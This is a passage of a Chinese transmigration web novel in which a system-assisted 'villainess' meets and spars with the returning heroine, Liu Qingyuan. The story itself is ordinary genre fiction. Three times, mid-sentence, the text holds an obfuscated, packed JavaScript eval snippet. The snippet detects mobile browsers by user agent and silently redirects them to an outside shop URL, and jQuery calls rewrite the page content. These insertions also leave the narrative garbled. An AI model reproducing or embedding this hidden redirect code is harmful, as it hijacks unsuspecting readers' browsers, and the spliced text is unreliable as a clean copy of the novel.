《女配她掀桌不干了》 2. 大姐姐天人之姿 “姑娘?” 见柳知微对着镜子目光发愣,张妈妈不轻不重地唤了她一声。 张妈妈不知内情,只当她是为柳尚书要接回那乡下的野丫头而烦心。那丫头一旦回来,姑娘在府里的日子只怕更难。柳尚书素来对姑娘不闻不问,姑娘不知受了多少气,柳知微是她看着长大的,那些委屈桩桩件件都记在心里。 更何况还有已逝公主殿下的嘱托在。她未能守护住公主殿下,难道连殿下的孩子也要护不住吗……她暗自不平:这样的血脉本就尊贵无匹,该享尽世间荣华,怎么公主落得那般结局,连姑娘也跟着…… 张妈妈想着,该给姑娘说些高兴的事,便提起宁都侯府的沈如雁,柳知微与后者是难得的闺中密友,说说她,姑娘心里应当能松快些。 思及此,张妈妈深深叹气,眼里满是心疼,温声宽慰道:“姑娘莫要伤着身子才好。纵然沈小姐已嫁作靖王妃,想来也总记挂着您。您若觉得寂寞,往后多的是机会去探望。” 老妈妈又叹息起来,继续絮叨着提供信息。 “此时春光大好,听闻楼夫人极爱花,搜罗天下奇花名卉,着手于下月初三办春日宴呢,到时您也能见着王妃娘娘了。不过可得记得先行礼,姑娘大了,不能再像从前那般姐妹间嬉笑打闹,不然有损王妃娘娘威仪……” 张妈妈知道柳莺娘正为了那野丫头回到柳府忧心忡忡。她家姑娘性子冷傲,常常受父亲训斥,好容易才有个沈家姑娘跟她走得近,却又嫁到皇家,两人离得更是远远儿的。 “嬷嬷,”柳知微有些烦闷,心中正盘算着该如何应对接下来的局面,“时辰不早了,可装扮好了?” 这老妇人待原主很是不错,就是话多了些。 “只再簪支翠玉簪就好。”她住了话头,将首饰盒推到柳知微面前,“姑娘挑一支?” 原主生母身份高贵,她的吃穿用度自是不愁,然而这妆奁里的首饰尽是些艳丽妖冶的珠翠。 柳知微:“……” 原主什么雷霆审美。 以原主这张略带婴儿肥的娃娃脸,根本压不住这些明艳颜色,戴上如同孩童强扮成熟,刻意卖弄风骚反惹人笑。 不过,作为亮闪闪珠宝的爱好者,柳知微本就偏爱明艳大美人风格,这些首饰倒是正中下怀。 她眼花缭乱,强忍住将所有首饰都簪上头的冲动。出于职业病,她觉得还是先走小白莲人设稳妥。 柳知微满心欢喜地打扮好自己,笑眯眯地问系统:“小芝麻团子,你不会让本宿主失望的吧?” 她和系统的交谈都是受世界规则保护的,其余人都听不见,在柳知微跟系统说话的时候,旁人都会觉得她是在发呆。 面对柳知微明里暗里的威胁,弱小可怜又无助的系统宝宝忙不迭补充道:【经核算……此书因作者弃坑,已自行演化成新世界,女主人设崩坏,五位男主走向黑化,剧情不可控。】 【而您要做的,就是帮助女主成功登顶神位。让她清醒,让她强大。】 【届时您便可夺舍女主,从此再无桎梏。宿主大大可满意? (?θ?)(PS:求放过)】 柳知微抚摸着妆匣里那些艳俗的首饰,勾唇一笑。 “很好。” 等她干完这一票,扬眉吐气,升职加薪!回到总部第一件事,就要让背后搞她的那个恶婆娘好看! 系统战战兢兢:【宿主大大,您这次……打算如何做?】 按照剧本,女主回府后柳知微不仅地位受损,恐怕还要处处受排挤。往后的日子想来艰难,不如先下手为强。 “如何做?”她拈起那支棠梨翠羽簪,对镜插入发间,眼底锋芒毕露。 “自然是去好好‘疼爱’我那位,人见人爱的好姐姐。” 【那些碍事的男主们呢?】 “杀光,给她助兴。如何?” 柳知微决心这辈子再不当那劳什子娇弱白莲。身为专业恶毒女配,就得有恶毒女配的骨气!一不卖惨博同情,二不手软留情面,该出手时就出手,她偏要靠自己杀出一条血路。 煞笔男主?一巴掌滚开!犯贱女主?两巴掌扇醒!所有无脑误会、失忆替身、追妻火葬场的狗血剧情,她更是降龙十八掌!她恶毒女配杀回来了,桀桀桀! 系统也被柳知微眼中熊熊燃烧的斗志感染,配了一个超燃的bgm,然后开始在她脑子里呐喊:【王侯将相宁有种乎!天大地大,俺滴宿主最大!桃子花杏儿花,不如宿主大大笑开花;夸夸炸炸萌萌哒,我是最元气的恶毒女配小红花!】 柳知微无语的样子belike:(ToT) 那边张妈妈正琢磨着再找些开心的事说给柳知微听,或是哄她春天去哪儿踏青散散心,还没来得及开口,那姑娘倒先说话了。 柳知微对着镜子照了又照,有意无意地打理着头发:“大姐姐的马车行至何处了?” 【尚未出发。她仍在越家溪村。】 忽然她瞥向窗外那棵树。棠梨花纷纷扬扬,香气拥入怀中。 “走吧。”她款款起身,指尖轻拢袖边,眼底笑意浅浅,“嬷嬷,大姐姐回府是天大的喜事,我这做妹妹的,怎好不亲去迎一迎?若叫人知道了,倒要议论我不懂礼数了。” “去准备一番罢。”她语气温软,眸中却掠过一丝不易察觉的流光,“今日,可得好好与姐姐……叙叙姐妹情谊呢。” “是。”张妈妈心中闪过一丝异样,却依旧听从她的安排,低垂着眼恭顺地退出了院子。 《神女倾世无双2之嫡女凰霸天下》的女主柳清圆自幼长于乡野,天性烂漫,虽无一技之长,却生得倾国倾城。她步入京城,与五位男主展开了一场爱恨纠葛。在经历了字面意义上的“掏心掏肺”之后,几位男主方才悔不当初。他们一边探寻女主的复活之法,一边放下前嫌、握手言和。最终,女主成功复活,并在他们的相助下走上成神之路。从此,众人过上了没羞没臊的幸福生活。 而作为重要背景板的柳知微,和所有虐文里的女配一样,她的生母乃是玉清公主,身份最为显贵,并且她自幼精于琴棋书画,容色更是一等一的出挑,柳家明珠,名动京华。 然而这一切,皆是在真千金柳清圆归来之前。人设那么优秀的女配柳知微甚至未能活到女主“成神篇”开启,便早早潦草地下了线。作为恶毒女配,她前期对柳清圆百般刁难,领着身边一群跟班走上不归路。 柳知微倚在马车软垫上,漫不经心地回想原主那些蠢事。 克扣饭食、赶去柴房、半夜叫起担水……折腾来去,竹马、心上人竟一个个都对柳清圆生了情愫。原主便恨毒了天地,更恨毒了柳清圆,最终竟在女主大婚之日买凶,将她绑至悬崖推了下去。 结局自是满盘皆输,搞得自己身败名裂,被卖进窑子,一生尽毁。 柳知微读完那卷命运之书,只想发笑。不为别的,就为这手段实在拙劣,连青铜局都算不上。 “太糙了,”她轻嗤一声,“这种局,也配让姑奶奶奉陪?” 脑中静了一瞬,系统弱弱出声:【……宿主,系统也是会得玉玉症的。】 柳知微眼尾微扬:“是吗?” 系统立刻改口:【……感谢宿主关怀!芝麻现在充满干劲了哦~】 她却忽地敛了笑意,指尖在卷宗边缘轻轻一叩。 “不过你之前有句话,说得不对。” 系统:? 柳知微抬手掀起车帘,目光投向窗外飞掠的旷野远山,声线静而沉: “她从来就该是我的。所以她的所有,自然也归我。何来''抢''字一说?不过物归原主罢了。” 她指节一捻,手中卷宗化作碎光散去。风从帘外灌入,袖口轻扬。 脑海中又闪过那些粗糙而恶毒的往事。原主那浑浊如泥淖的一生,又脏又蠢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老村长仍是慈和地笑着,脸上沟壑般的皱纹里藏着岁月的风霜。 他摇摇头,从怀中取出一封已有些折痕的信。 “孩子,你看看这个。” 柳清圆眼底掠过一丝晦暗,面上却露出惶惑的神色:“村长爷爷……您不要清清了?” “傻丫头,”老人轻叹,“你一个女娃,独自过日子太难。你娘去得早,这些年你吃百家饭长大,其中的不易,爷爷都明白。” “你亲生父亲是京城里的大官,如今既来接你,便是你的造化……” 柳清圆眨了眨眼,泪光倏然盈睫:“村长爷爷真觉得那是好归宿?他当年抛下我娘与我,如今又何必惺惺作态?” 老村长沉默片刻,终究只是又叹一声:“去吧,孩子。来接你的人已经到了,就在院外等着。” ……终究是来了。 柳清圆心底冷笑,面上却垂下头,抬手匆匆抹了抹眼角,再抬起时,已是强撑的笑:“好,我听爷爷的。” 她退后一步,端端正正朝老人行了一礼:“村长爷爷,您和婶娘们……一定要等清清回来。我定会回来看你们的。” 转身时,她余光瞥见溪边。谢济泫仍蹲在那里,安安静静地堆着他的石子,对周遭一切浑然不觉。 “我要带阿济一起走。”她忽然停下脚步,声音不高,却异常坚定。 老村长一怔:“这……” “当年他为救我,磕坏了脑袋,自此神志不清。这份恩情,我不能不报。”柳清圆回头看他,目光澄澈而执拗。 半晌,老人眼眶微湿,重重点头:“好……好孩子!你们相互照应着,也好,也好。” 他颤巍巍伸出手,指向小院方向:“随爷爷来吧……有人,已等候多时了。” 3. 假白莲vs真绿茶 柳清圆有一个不可告人的秘密。自她八岁起,便被一个仿佛永无尽头的梦魇困住了。 梦里,她遇见了很多未曾见过的人,那些人说爱她疼她想要她,她被撕扯着,碎裂成一片一片,血沫模糊了越家溪,霎那间光风炫转,紫英成雪。 直到去年,梦境越来越清晰,夜晚所见狰狞面孔却越发温和。她耳边总是响起古老又苍凉的声音…… “回柳家,便是灭顶之灾。” 同时,她感知到了自己预测未来的能力。当年谢济泫被野兽袭击倒在山里半死不活,便是她凭着梦境指引领着村子里的人找到了他。 昨夜梦里,她撞见个瓷娃娃似的小丫头。 小姑娘约莫七八岁,一身素衣,扎着两个揪揪,脸蛋儿嫩得能掐出水来,冲她咧嘴一笑,甜得人心都要化了。 她下意识就蹲下身,张开手臂:“来,姐姐抱抱。” 那团红色身影轻快地扑进她怀里,软乎乎的。 下一秒,剧痛炸开! 像被烧红的铁钎捅穿胸口,她浑身一僵,低头看去。 怀里哪还有什么小娃娃,那只本该搂住她脖子的手,竟凭空化出一把尖利的短剑,正正插在她心口的位置,没入皮肉,温热的血已经浸湿了前襟。 她缓缓抬起视线。 小姑娘还是那张脸,圆眼睛,小梨涡。 甚至笑容的弧度都没变,依旧是天真无邪的模样,就这么仰头看着她,仿佛只是在跟她玩着有趣的小游戏。 事后涌入一段记忆,仿佛亲身经历过一般。柳清圆方知晓那是她的二妹妹,柳莺娘。 一个坏心眼儿的小混蛋。 她可得提防着点。 * 柳知微在马车上困得不行,她现在是提前前来,按照原著柳尚书应当是明天才来,柳文渊怎么也不会想到他女儿被人给半路截胡了吧。 “……艳光绝京华,殊色本无双?”柳知微一只手挑开帘子,发呆的时候不自觉想起原著中对女主的这一句描写。 不一会儿,底下人便将人带到了她跟前。 柳知微定眼看向来人,仍是“拒人于千里之外”的冷漠表情,实则早已心花怒放。她总算没看走眼! 柳清圆的美,不在温婉清丽。眉目间自带一股英气,轮廓清晰,是张雌雄莫辨的脸。发髻斜挽,木簪素衣,风尘仆仆。可这身粗粝打扮,却盖不住浑身散发的攻击性。 好一张,做男做女都精彩的脸。 不出意外的话,柳知微本来是打算长这样的。她依稀记得,自己明显偏爱的就是明艳大美人这一挂,柳知微很钟意这副皮囊。 柳知微的目光落在她的身上。只是女主很是瘦弱,打着补丁的灰色衣角滑落,露出一截白皙的手腕,有着一道淡淡的蓝青色花纹,上面还沾了些泥泞。 她不由得一皱眉。这副皮囊得好好将养一下,等她走完剧情夺舍成功以后,一准要把各种漂亮衣服首饰和美容养颜秘方往女主身上砸!这些荆钗布裙全都给她消失! 车轱辘吭哧吭哧,天空忽的一声巨响,女主闪亮登场。 “拜见二小姐。”柳清圆起身相迎,亲热地拉住她的手,“闻名不如见面,见面胜似闻名!瞧瞧二小姐这通身的气派,倒像是那神仙似的人物,我今儿个也算见着了!” 柳知微:“……”怎么一股凤辣子味。 幸亏柳知微在先前就做好了充分准备,对她的这位好姐姐做了充分背调。 女主从小养在乡下,某一日上山打柴,被隐居深山差点要一命呜呼的医圣一眼相中,然后就把自己百年功力传给了女主,所以女主自带“医毒双修”的天赐光环。 当然,后面某一个阴湿男鬼小狼狗就是被女主救了,上演了一出一见钟情的戏码。 柳知微开始演戏了。 她瞥向柳知微,语气不善道,“自小生野里,没个教训。你本就无甚见识,只识得几个字,岂敢擅自用起曹公书里的话来了?真是不知分寸。” 柳清圆莞尔一笑,偏偏听不出她说话带刺似的,装作没事人,热络地揽起柳知微的胳膊,亲切地说:“父亲来信接我回府,却不想能得二小姐亲自相迎……不不,应当改口叫莺莺了……莺莺今年几岁了?可曾中过毒没有?” 听到这一称呼,现场氛围顿时凝重起来,一旁的张妈妈也在心下捏了一把汗。 谁都知道,柳莺娘最厌恶这个小字。 入戏的柳知微保持冷脸状态,一下子拨开了柳清圆的搭上来的手。柳清圆一定是故意的,手上沾了泥,现在抹了她一身。 素白的裙子上顿时染上一片污浊。 “放肆!”柳知微厉声喝道,按照人设抬手就要扇眼前人一巴掌。 千钧一发之际,柳知微心中一跳,似乎是刚刚清醒似的,扇巴掌的动作卡在半空,柳清圆只感受到迎面带来的微弱掌风。 柳清圆不闪也不躲,无辜地向她眨眨眼,指尖抵住唇角,疑惑道:“诶?莺莺……这、这是?” 她扭头转向张妈妈,“这位婆婆,我哪里惹莺莺生气了?” 柳知微蓦地一笑,纤纤素手提起,在柳清圆眉心留下轻柔一点,然后秒开嫌弃脸,拂袖把她甩开。 “哪里的话?本小姐岂会因你这野丫头动气!” 言罢,她在丫鬟的搀扶下缓缓下来马车。不得不说,原身是真弱,这一路马车颠簸下来,她连走几步都觉得吃力。 柳知微脸色不变,心底却狂跳不止。 好险好险!她差点就要打脸上了!那么绝美的一张脸,留下个巴掌印简直天理不容! 芝麻:【……宿主大大泥……】一整个贪财好色之徒呢。 柳知微:[爱美之心人皆有之,OK?] 芝麻:【……】 柳清圆依旧是委屈脸,声音颤抖着说:“果然……还是被二小姐讨厌了吗?我晓得,我无权无势,只凭着一点血亲就敢攀上尚书府,二小姐定是视我为眼中钉、肉中刺,恨不得除之而后快……可是莺莺,姐姐是真滴稀罕恁。” 柳知微:“……”明里暗里刺她心气小、仗势欺人。 芝麻:[词库升级中……同义词搜索如下:恃宠而骄,辜负深情,不识抬举,恩将仇报,得寸进尺,狼心狗肺。] 柳知微:?你再骂。 她眯眼看向柳清圆。柳清圆坦然对上她审视的目光。 绿茶人设?还是女主? 这就很有生活了。 “废话少说吧。”柳知微开口,“你应当知晓,我为何带你来这里。” 柳清圆像是林间受惊的小鹿一般,也不争辩,只是微微低下头,让一缕头发滑落遮住半张脸,时不时偷瞄她几眼。 她的睫毛如受惊蝶翼般忽闪一下,随即漾开一个更甜三分的笑,声音却放轻半度:“莺莺,姐姐错啦。姐姐会学着打扮得漂漂亮亮,与你相配,不要生气了好不好?” “莺莺,姐姐是为你而来的啊。” 那道梦中谶语,将她引渡至此,引渡到她面前。 柳清圆不甘接受那样的安排,为宿命裹挟。她要自己寻一个答案,而眼下,这答案的线头似乎正系在这个“小坏蛋”身上,且不动声色,稳住她再说。 柳知微哆哆嗦嗦地要说不出一句完整的台词了。 芝麻呐喊:【宿主大大!你被色诱啦!】 柳知微:[……申请开启保护期!] 很快在系统的安排下,女主楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576292|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚可怜的模样在柳知微眼里变成了一张挑衅、充满算计的嘴脸。 柳知微装模作样地咳嗽两声,锋利的眼神又对上了地上的柔弱女子,开始兢兢业业地念台词。 “我的好姐姐,你这般天真,倒真叫人怜惜呢。”她捏起女子的下巴,指尖冰冷,“等你死在这崖底,父亲来替你收尸时,我或许就原谅你了。” 柳知微吩咐人将女子架起来,拖至悬崖边缘,那一团身影将落未落。 “届时,你入你的黄泉,我日夜为你诵经,渡你投个好胎。下辈子……记着长点脑子,别再自不量力,来抢我的东西。” 旁边的架着她的两个丫鬟面面相觑,生怕柳知微真丧心病狂干出这草菅人命的勾当来。 芝麻:[宿主大大威武!就是这样可劲儿吓她!完成剧情“下马威”,剧情点+25!积分奖励已到账!] 柳知微差点喜形于色,她好容易维持着这种冷酷模样,就要轻喝一句停手的时候,树林深处忽的蹿出一个阴影来。 旋即飞身而上,两记重拳将丫鬟捶倒在地,又似丢弃秽物般将其踹到柳知微脚边。转身便将柳清圆稳稳揽入怀中,姿态珍重,如同护住绝世珍宝。 柳知微一句“我特f”憋在嘴里,呛得咳嗽起来。 一众丫鬟将她紧紧护在身后。柳知微的这些贴身婢女好歹是练过的,上得厅堂下得厨房,能文能武三拳打死一只吊睛大白鹅都不成问题。 能两拳干翻人的,是女主开的什么外挂? 柳知微默默无语。明明再过两秒她就放人了,女主真不愧是天道的亲女儿,一点委屈都受不得。 无事无事,等她攒够积分,助女主成神,她顺道夺舍女主,早晚把天道踩在脚下! “姐姐……”那个人似乎精神有些错乱,只喃喃地吐出几个字。他感受到周围警惕的目光,却没有再发动攻击。 他怀里的柳清圆仍是笑着,用一只袖子轻轻擦了擦他眼角流下的泪花,温声哄道:“阿济会说话了?真厉害……放开吧,我没事的。答应我,不要伤害莺莺好吗?她是我最喜欢的妹妹了。” 谢济泫呆呆地“嗯”了一声,如同行尸走肉般扶起了柳清圆,乖乖地退后,侍立在她身侧。 柳知微好奇地打量着这少年,要是商城里卖这种无限移动小狗暗卫,她铁定要买一个! 芝麻:[咳咳!] 【检测到一号男嘉宾已出现,疯批占有欲忠犬护卫,人设五颗星给到“夯”。早年为护女主伤及头颅,智力退行至幼童状态,武力值却爆表,唯女主之命是从。其来历似乎暗藏玄机,非比寻常。】 柳知微端正恶女人设,做出惊恐的模样,一只手指着柳清圆,不客气地嘲讽:“清圆姐姐真是好大的‘本事’。光天化日,便要将外头的阿猫阿狗迎进府里?看来父亲平日对你‘知书达理’的夸赞,怕是有些错付了!” 等她说完,柳清圆才极慢地眨了一下眼,她眼波流转,眼神里带着三分怯、七分试探,泪光欲坠未坠。 柳知微:吾命休矣! 芝麻:[宿主!争气争气再争气!您难道没听过温柔刀刀刀割人性命吗?!] “二妹妹误会了……阿济并非阿猫阿狗,他是救我一命的大恩人,还因此伤了脑子,只晓得要护着我,不作他想。” “二妹妹若执意……像方才那般与我玩笑嬉闹,姐姐也担忧……阿济会做出什么来,若是伤了你我姐妹情分,倒是得不偿失。” “我实在舍不下阿济的恩情,劳烦二妹妹通融,在父亲面前为我说道说道。阿济方才冒犯之举,姐姐愿代为受过。” 她的嘴角柔柔上扬,脸上带着柔顺的、有些苍白的笑。 “二妹妹恕罪。” 4. 好一个天定良缘 刹那间,女主的美貌如利刃般刺穿新手保护罩,那副楚楚可怜的模样再次暴露在柳知微眼前,万人迷效应衬得女主不灵不灵的闪闪发光。柳知微顿觉双眼被灼得生疼,整道身影都在女主周身流转的光晕中失了颜色。脑海中,系统“芝麻”一遍遍拉响刺耳警报。 柳知微回过神来了。 芝麻:[有戏。] 猝不及防地,柳知微把警报调成了婚礼进行曲,然后郑重万分地伸出手,将满脸委屈、惹人怜爱的女主亲手扶了起来。 柳知微:[今晚马戏团有你的戏。] 芝麻:[?ber不是?] 柳知微冲动之下就冲动了一下。去他爸的,反正积分已经到账了。 “说完了?”她开口说,尽管努力维持着人设,声音却已经不似以前冰冷,“妹妹以为,姐姐所言极是。” 系统:?? 严阵以待的婢女和被踹了俩脚的丫鬟以及张妈妈:“???” 你喊的是哪门子的“姐姐”?你特喵的是恶毒女配啊! 柳清圆本人:? 柳知微继续道:“的确是莺莺一时兴起,玩笑一场,姐姐莫要见怪。莺莺朝思暮想,辗转反侧,可是恭候姐姐已久,又怎么会舍得委屈姐姐呢?” 你叫自己什么“莺莺”? “走罢,打道回府。回去后,该说什么不该说什么,你们可心里有数?” 一众仆婢恭顺地低着头。 话音一落,柳知微拂袖而归,留给在场所有人一个潇洒的背影,哦不,还转头回眸一笑,再从容登上了马车。 柳清圆:??? 众人:???? 系统:【笑你雷霆(国际手势)】 不过那只是一瞬间的错愕,柳清圆很快便调整过来,笑着回应:“二妹妹果真是极好。” 柳清圆暗自松了一口气,她故作委屈以退为进,让阿济能够顺利入柳府,一切都在按着她的计划进行着。 傻妹妹心眼又小又坏,还很好骗呢。莺莺啊,你真的会如梦中一般杀死我吗?你能成功吗? …… 马车辘辘前行,乡间小道坑坑洼洼,车身时不时颠簸一下,将车内的两个人晃得微微倾斜。 柳知微靠在车壁上,一手撑着脸颊,目光懒懒地落在对面的柳清圆身上。车内光线昏暗,只有帘子缝隙里漏进来的月光,在两个人之间铺了一条细细的银线。 柳清圆端坐如塑,脊背笔直,双手静搁膝上。 “她美得不似人间客,如一尊观音玉像,凝着千年的霜雪。更像是水中月、镜中花,一道徘徊在梦与醒边缘的幻影。” 柳知微说完这句话,才后知后觉地反应过来,她这是又不“犯病”了。看着柳清圆愣怔望向她的目光,她总算醒过神,心里咯噔一下。 她早该知道,这个破设定还没删干净。 这是她在历经10086世实习期后落下的职业病。转正前最后一天、最后一关,她终于忍无可忍,当着剧情控制系统的面把原文台词拎出来一通嘲讽,痛快是痛快了,考核评分却直接跌成“勉强及格”。惩罚随之而来:今后每逢重要人物出场,她都会不受控制地自动背诵原文中的一段描写,随机、不定时,连她自己都察觉不到什么时候会突然冒出来那么一句。 系统在柳知微脑海里得意地冷哼一声,它十分乐意看到柳知微尬得脚趾抠地的样子。 【哼哼!你对人家犯花痴,现在人家都只有把你当申金看哦!恶毒女配就要当好恶毒女配嘛,刚才人设崩得渣都不剩了!】 系统还在那儿抱怨,差点就要骑到柳知微头上了。 她反手就用积分启动了雷击装置。系统瞬间发出疯狂的警报声,一阵激烈的电流声过后,彻底掉线了。 她启动雷击,当然不是为了电自己,这是针对系统的惩罚装置。系统作为她的分配助手,说白了就是她的牛马。牛马也敢对老板这么说话?那就让它尝尝苦头! 宿主被欺负的时代,早就过去了,那是实习时候的柳知微,而现在,她是钮祜禄·知微! 系统不听话?那就电一下。再敢不听话?那就电亿下! 柳知微邪魅一笑:哼哼,转正了就是爽! “莺莺,莺莺?还好吗?”柳清圆伸手在她面前晃了晃,一点安神香粉末无声无息地飘洒在柳知微鼻前。她见这人方才说了些古怪的话,此刻又兀自出神,心中满是疑惑。 柳知微抬起眼,敛去那抹轻佻的笑意,瞪圆了眼睛,活像一只炸毛的猫:“本小姐好得很,用不着你假惺惺操心。管好你自己吧!人前我与你客客气气,你别以为这样就能让我认下你这个野丫头。到了父亲面前,什么话该说、什么话不该说,你最好心里有数。” 柳清圆低垂着眼,神色间透着几分沮丧,微微退开半步,语气温柔顺从:“二妹妹说是什么便是什么。你生得这般娇俏可爱,我哪有不听的道理?” 柳知微只顾着维持那副拒人于千里之外的冷淡,全然不知少女眼底的笑意正一点一点暗下去、深下去,指尖暗自凝起一星光点。 四目相对的瞬间,车身猛地一颠。柳知微向前跌去,柳清圆的手恰好迎上,稳稳落在她腰间。隔着薄薄的春衫,那股温热从掌心直直透了进来。 车内安静了一瞬。 柳清圆没有立刻收回手,柳知微也没来得及躲开。两个人的姿势定格在那个暧昧的距离上,近得足以看清彼此的瞳孔,倒映着的满满当当全是对方。 “二妹妹真是不小心。”柳清圆尾音微扬。 柳知微想挣开。女主的万人迷光环太要命,保护罩都碎了,再近一步,人设崩了积分就得玩命掉。 她故作愤怒地推开柳清圆,身体却骤然发软,脑袋昏沉,似乎马上便要睡过去了。想起女主医毒双修的设定,她心中猛然一沉。 “你竟敢——” 柳清圆没接话。她低头,眼底漫出笑意,又收紧了揽在腰侧的手,细细量了量尺寸。待确认怀里的人彻底熟睡后,她将人轻轻安置好,然后抬起眼,目光越过那副身躯,落在车顶。 她的眼瞳渐渐化开一层水蓝,映着月光,幽幽地亮。 “阿济,让它们滚回去。” 车外横着仆婢与张嬷嬷的尸身,冰冷又僵直地躺着,地面忽的涌出无数黑色咒文,像活物般覆上去,一寸寸将她们吞没入土。而那缠住马车的锁链碎作尘烟,消散无踪。 柳清圆眼里的蓝光愈发浓郁,手腕上那朵青色的花形胎记仿佛蜕了层皮,渗出更深更浓的蓝紫。片刻沉寂后,那些本该死去的人,又一模一样地回到了原位。只是她们像是被看不见的丝线牵引的木偶,又静又空。 马车辘辘前行。柳清圆垂眸看着怀里睡得正沉的人,那双素来清冷的灰眸里,方才那抹幽蓝已褪得干干净净。 柳知微不知梦见了什么,身子微微一缩。 “怕了?”柳清圆的声音很轻,带着一丝若有似无的笑意。 她伸手拂过柳知微的额发,指腹温柔地压了压她微蹙的眉心:“怕什么,姐姐在呢。” 帘外天色渐明,柳清圆收回手,拢了拢被风吹起的车帘,看着天边渐渐泛起鱼肚白。她低低地开口,不知是说给睡着的人听,还是说给自己听。 “下回别摸黑来找我了。一个小姑娘,怎么就不知道天黑路险呢。” …… 马车缓缓驶入尚书府侧门,车辙碾过青石板的声音沉闷而规律。柳知微靠在车壁上,眉心微蹙。她承认自己大意了,这一局竟让柳清圆占了上风。虽然不太符合女主的性子,她不该这般张扬,更不该这般沉不住气。 今早柳知微醒来,本是打定主意要和柳清圆论道一场。谁知她才刚开口,柳清圆便不遑多让,笑吟吟地道:“山遥路远,马车颠簸,我不过是心疼妹妹睡不安稳,才略施小计。可惜妹妹对姐姐成见太深,我这番好意无处安放,只好出此下策了。”语气仍是轻柔,落在柳知微眼里,却字字都像在挑衅。 柳知微憋着一口气,被丫鬟搀扶着下了车。脚刚落地,正厅方向便传来一声怒喝。 “逆女!还不给我滚过来!” 柳尚书身着深紫色常服,负手立于厅前,脸色铁青。他身后站着几位姨娘和管家,个个屏息凝神,大气不敢出。 柳知微挑了挑眉,慢悠悠地走过去,裙摆曳地,姿态从容优雅。她身后的柳清圆则低着头,小心翼翼地跟随着,时不时抬眼偷看柳尚书的脸色,眼中含着恰到好处的怯意。 系统谄媚地吹着彩虹屁:【剧情点+25!宿主大大好厉害,演得棒棒的,好一个恶毒女配呢!】 它昨晚被雷劈了一下,直接晕过去一整晚,彻底掉线!那一晚上发生了什么,它压根不知道。但一听说柳知微也被女主哄睡着了,心里还是忍不住偷偷乐了一下。 “父亲这是怎么了?动这么大肝火。”柳知微在厅前站定,语气轻飘飘的。 这是她早就料到的结果。每次跟这便宜爹吵上一架,剧情点就蹭蹭往上涨,简直是行走的天降刷分工具人,她可得牢牢抓住了!争取早日气死老登,实现人生暴富。 “你还有脸问!”柳尚书一掌拍在身旁的黄花梨木桌上,震得茶盏叮当作响,“我要接回清圆,谁让你擅自动作,还把她带到荒郊野外去!若不是我派过去的人快马加鞭回来报信,我还不知你竟如此胆大包天!” 柳知微眨了眨眼,一脸无辜:“父亲这话从何说起?女儿不过是带姐姐去城郊赏景罢了。姐姐久居乡野,想必没见过京郊的枫叶,这个时节正是红得灿烂的时候呢。” 当下正是阳春三月。 “你、你……”柳尚书被她这颠倒黑白的话气得手指发颤,“你哪有半分贵女的样子!强词夺理,老王可告诉我了,那处是断崖!” “哎呀,王管家年纪大了,眼花看错了吧。”柳知微掩唇轻笑,眼波流转间看向柳清圆,“姐姐,你说是不是?我们只是站在崖边看看风景,妹妹还拉着你的手,怕你摔着呢。” 所有人的目光瞬间聚焦到柳清圆身上。 柳清圆微微咬唇,抬眼时眼中已蒙上一层水雾。她轻轻摇了摇头,声音细若蚊呐:“二妹妹……二妹妹确实只是带我去看风景。是女儿自己胆子小,站在崖边腿软,险些摔倒,让二妹妹和众人受惊了。” 她说着,还恰到好处地颤抖了一下,像是回想起那惊险一幕仍心有余悸。 柳尚书见状,怒气稍缓,但看向柳知微的眼神仍带着责备:“即便如此,你也不该带她去那么危险的地方!清圆初来乍到,若真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576293|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出什么事,你让我如何向九泉之下的毓儿交代?” 越阿毓,柳清圆的生母,这个男人亲手抛弃又愧疚多年的发妻。 “父亲这时候倒记得要对发妻交代了。”她忽的冷笑一声,“当年您为迎娶我母亲,将病重的发妻抛弃在乡下时,可曾想过要给她一个交代?” 她声音不大,却字字割人,“母亲进门后,您宠妾灭妻,致使我母亲郁郁而终!您又可曾想过,要给我母亲一个交代?” 芝麻:[人设值+500,宿主大大超给力!] 她这态度让柳尚书又是一阵胸闷,但看着柳知微那张与亡妻极为相似的脸,终究是狠不下心重责。 “娇横跋扈,目无尊长。不久后便是你母亲祭日……待赴完宁都侯府的''春日宴'',回来便去祠堂领罚,抄写佛经百卷,为你母亲祈福罢。” 他叹了口气,转向柳清圆时语气温和了许多:“清圆,一路辛苦了。住处已经给你安排好了,就在东厢的听雨轩,离知微的院子不远,你们姐妹也好有个照应。” “多谢父亲。”柳清圆福身行礼,姿态柔顺。 柳知微在一旁冷眼看着,心中暗笑。这柳清圆装乖的本事倒是一流,几句话就把自己摘得干干净净,还显得宽容大度。不过她也不在意,反正积分到手了,剧情推进了,其他的都无所谓。 “对了父亲,”柳知微忽然开口,像是突然想起什么,“姐姐今日还带回来一个人呢。” 她拍拍手,两个家仆像押犯人似的把谢济泫带了上来。少年低着头,隐在阴影里看不清面容,但身姿挺拔,隐隐透着股不同寻常的气息。 “这位是……”柳尚书皱眉。 